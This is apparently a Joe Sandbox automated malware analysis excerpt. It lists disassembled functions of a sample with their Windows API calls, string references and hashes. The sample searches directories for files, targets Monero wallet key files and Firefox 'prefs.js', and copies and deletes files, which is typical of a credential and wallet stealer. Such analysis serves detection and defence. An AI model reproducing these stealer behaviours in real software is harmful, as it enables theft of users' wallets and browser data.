Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: a5356c46127db98b7d515bb8a6529bf0d3582db4a1f47908ed97860c7fd955fd
Instruction ID: eddd97862906906f075b95d25ca67f360c63fa4247b087b0f71bf903429f4ca7
Opcode Fuzzy Hash: a5356c46127db98b7d515bb8a6529bf0d3582db4a1f47908ed97860c7fd955fd
Instruction Fuzzy Hash: 446143B2900218ABCB25EBA0DC55FFA737CBB58700F04458DE64DD6141EB75AB49CFA2

Function 003C4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 003C4580
RtlAllocateHeap.NTDLL(00000000), ref: 003C4587
wsprintfA.USER32 ref: 003C45A6
FindFirstFileA.KERNEL32(?,?), ref: 003C45BD
StrCmpCA.SHLWAPI(?,003D0FC4), ref: 003C45EB
StrCmpCA.SHLWAPI(?,003D0FC8), ref: 003C4601
FindNextFileA.KERNEL32(000000FF,?), ref: 003C468B
FindClose.KERNEL32(000000FF), ref: 003C46A0
lstrcat.KERNEL32(?,0108E7E8), ref: 003C46C5
lstrcat.KERNEL32(?,0108DA20), ref: 003C46D8
lstrlen.KERNEL32(?), ref: 003C46E5
lstrlen.KERNEL32(?), ref: 003C46F6

Strings

%s\%s, xrefs: 003C461B
%s\*, xrefs: 003C459A

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 6cc8881169fa7666e191d7ef0f0f8dc0e72dc8f964c3b9b8e056bc5bf0f42634
Instruction ID: da9fc257f4bdeeac3befd856386d896b1fbb3d644005a4b51e11fdc9cf03de30
Opcode Fuzzy Hash: 6cc8881169fa7666e191d7ef0f0f8dc0e72dc8f964c3b9b8e056bc5bf0f42634
Instruction Fuzzy Hash: 0C5155B29002189BC725EB70DC99FF9737CAB58700F404589F60DD6150EB759B89CFA2

Function 003C3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003C3EC3
FindFirstFileA.KERNEL32(?,?), ref: 003C3EDA
StrCmpCA.SHLWAPI(?,003D0FAC), ref: 003C3F08
StrCmpCA.SHLWAPI(?,003D0FB0), ref: 003C3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 003C406C
FindClose.KERNEL32(000000FF), ref: 003C4081

Strings

%s\%s, xrefs: 003C3EB7

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f371cfb9a96fdd8b6a16076b56890c7b6ecb5e22ae64201bfda9fc796562259b
Instruction ID: 0ae97cde06227abe8a5e156c2689f9517c932902129a64a4dbd54c0765aa2c26
Opcode Fuzzy Hash: f371cfb9a96fdd8b6a16076b56890c7b6ecb5e22ae64201bfda9fc796562259b
Instruction Fuzzy Hash: 925101B2900218ABCB25EBA0DC45FFA737CBB58700F40458DB65DD6140EB75AB89DF52

Function 003BED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003BED3E
FindFirstFileA.KERNEL32(?,?), ref: 003BED55
StrCmpCA.SHLWAPI(?,003D1538), ref: 003BEDAB
StrCmpCA.SHLWAPI(?,003D153C), ref: 003BEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 003BF2AE
FindClose.KERNEL32(000000FF), ref: 003BF2C3

Strings

%s\*.*, xrefs: 003BED32

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f088188a00a4f208c9097435934d6be68dc08b800b660a0091884ba675d2bf85
Instruction ID: e18af265c2f1ec67bab2880a0eacd616d4fe1e4fea6df826672053ea7d1ba6e4
Opcode Fuzzy Hash: f088188a00a4f208c9097435934d6be68dc08b800b660a0091884ba675d2bf85
Instruction Fuzzy Hash: 8DE12D7281161C9BDB16EB60DC52FEE7738AF54304F40419DB50AAA092EF306F8ADF52

Function 003BF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003D15B8,003D0D96), ref: 003BF71E
StrCmpCA.SHLWAPI(?,003D15BC), ref: 003BF76F
StrCmpCA.SHLWAPI(?,003D15C0), ref: 003BF785
FindNextFileA.KERNEL32(000000FF,?), ref: 003BFAB1
FindClose.KERNEL32(000000FF), ref: 003BFAC3

Strings

prefs.js, xrefs: 003BF812

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d77bf2dd91b21de5e53ade630d45d31a2a7379041993d4651e10308a2dce8628
Instruction ID: 9b3ce9b5916bb5da73f4bc6c4d89b1e6ede926bbbecb6a168e0fc834dddccf87
Opcode Fuzzy Hash: d77bf2dd91b21de5e53ade630d45d31a2a7379041993d4651e10308a2dce8628
Instruction Fuzzy Hash: 2CB14E719006089BCB26EB60DC96FEE7779AF54304F4085ADA50ADA181EF306F49CF92

Function 003B16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003D510C,?,?,?,003D51B4,?,?,00000000,?,00000000), ref: 003B1923
StrCmpCA.SHLWAPI(?,003D525C), ref: 003B1973
StrCmpCA.SHLWAPI(?,003D5304), ref: 003B1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003B1D40
DeleteFileA.KERNEL32(00000000), ref: 003B1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 003B1E20
FindClose.KERNEL32(000000FF), ref: 003B1E32

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Strings

\*.*, xrefs: 003B17F1

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c2bb70d07bbc9d17438b48187ff79eafbe1f4ae75f6f7936575228da11740e48
Instruction ID: 7ea48e0572a445ec50f9ca73c0fe291525833055e0d230af46d4738ac5b1cf1b
Opcode Fuzzy Hash: c2bb70d07bbc9d17438b48187ff79eafbe1f4ae75f6f7936575228da11740e48
Instruction Fuzzy Hash: C612EE7191061C9BDB16EB60DC96FEE7778AF54304F40419DA10AEA091EF306F89DF92

Function 003BDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003D0C2E), ref: 003BDE5E
StrCmpCA.SHLWAPI(?,003D14C8), ref: 003BDEAE
StrCmpCA.SHLWAPI(?,003D14CC), ref: 003BDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 003BE3E0
FindClose.KERNEL32(000000FF), ref: 003BE3F2

Strings

\*.*, xrefs: 003BDE26

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 374e26a5d3b506e7683b6e735074abf2eed36ba0d87a9638a2854f8bc3d0ebb2
Instruction ID: a7e08904b4a463a82633a1d093aebe47f33c9bef258e4caeb95074b0ad303125
Opcode Fuzzy Hash: 374e26a5d3b506e7683b6e735074abf2eed36ba0d87a9638a2854f8bc3d0ebb2
Instruction Fuzzy Hash: ABF19E7181061C9BDB26EB60DC96FEE7778BF14304F80419EA50AA6091EF346F4ADF52

Function 003BDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003D14B0,003D0C2A), ref: 003BDAEB
StrCmpCA.SHLWAPI(?,003D14B4), ref: 003BDB33
StrCmpCA.SHLWAPI(?,003D14B8), ref: 003BDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 003BDDCC
FindClose.KERNEL32(000000FF), ref: 003BDDDE

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 86cace7791b372a25051bb73a751fe6802db339c7780d0e87aff07b2643d6853
Instruction ID: 8f44192cde8f0c59372748a14491a97c52430196df6c574d0fe639ab145f8337
Opcode Fuzzy Hash: 86cace7791b372a25051bb73a751fe6802db339c7780d0e87aff07b2643d6853
Instruction Fuzzy Hash: 5791237290060897CB16FBB0EC56EED777DAB94308F40855DF90ADA541EE349F09CB92

Function 00779AE6 Relevance: 12.8, Strings: 9, Instructions: 1599COMMON

Download Yara Rule

Strings

{^Mx, xrefs: 00779C90
l=}, xrefs: 0077A498
'>~, xrefs: 00779DE6
r}:, xrefs: 00779F5C
W6}V, xrefs: 0077A637
Ay, xrefs: 0077A79E
Qov[, xrefs: 00779CE9
Nx{, xrefs: 0077A708
*[, xrefs: 0077AA7A

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Nx{$Qov[$W6}V$r}:${^Mx$'>~$*[$Ay$l=}
API String ID: 0-3838544387
Opcode ID: 72781a01f1004c8cebab541950271b35c0fc04298d2aff5e1775b34b999b647a
Instruction ID: 6c69046b2185e78b5adae14c58bd97f6d4d26ea1258357dd05273de43e6c39f4
Opcode Fuzzy Hash: 72781a01f1004c8cebab541950271b35c0fc04298d2aff5e1775b34b999b647a
Instruction Fuzzy Hash: FCB206B36082149FE304AE2DDC8567AFBEAEFD4720F1A493DE6C4C3744EA3558058697

Function 003C7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

GetKeyboardLayoutList.USER32(00000000,00000000,003D05AF), ref: 003C7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 003C7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 003C7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 003C7C62
LocalFree.KERNEL32(00000000), ref: 003C7D22

Strings

/ , xrefs: 003C7C7F

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9c655ba18acc895f1b9b084cf76610ece96482c25c522f936abb988cd8b772e1
Instruction ID: 17cf1d60a44c48f23c615e98031716b4f6528423e101a471ed6c012bb636206c
Opcode Fuzzy Hash: 9c655ba18acc895f1b9b084cf76610ece96482c25c522f936abb988cd8b772e1
Instruction Fuzzy Hash: FB415D7194021CABCB25DB94DC99FEEB7B8FF54704F204199E40AA6290DB742F85CFA1

Function 0077EAA2 Relevance: 10.3, Strings: 7, Instructions: 1536COMMON

Download Yara Rule

Strings

de\, xrefs: 0077F86B
xF1u, xrefs: 0077ED53
F{:=, xrefs: 0077F742
sfoM, xrefs: 0077F125
hC>s, xrefs: 0077ED9F
sfoM, xrefs: 0077F118
i$_, xrefs: 0077F986

Memory Dump Source

Source File: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
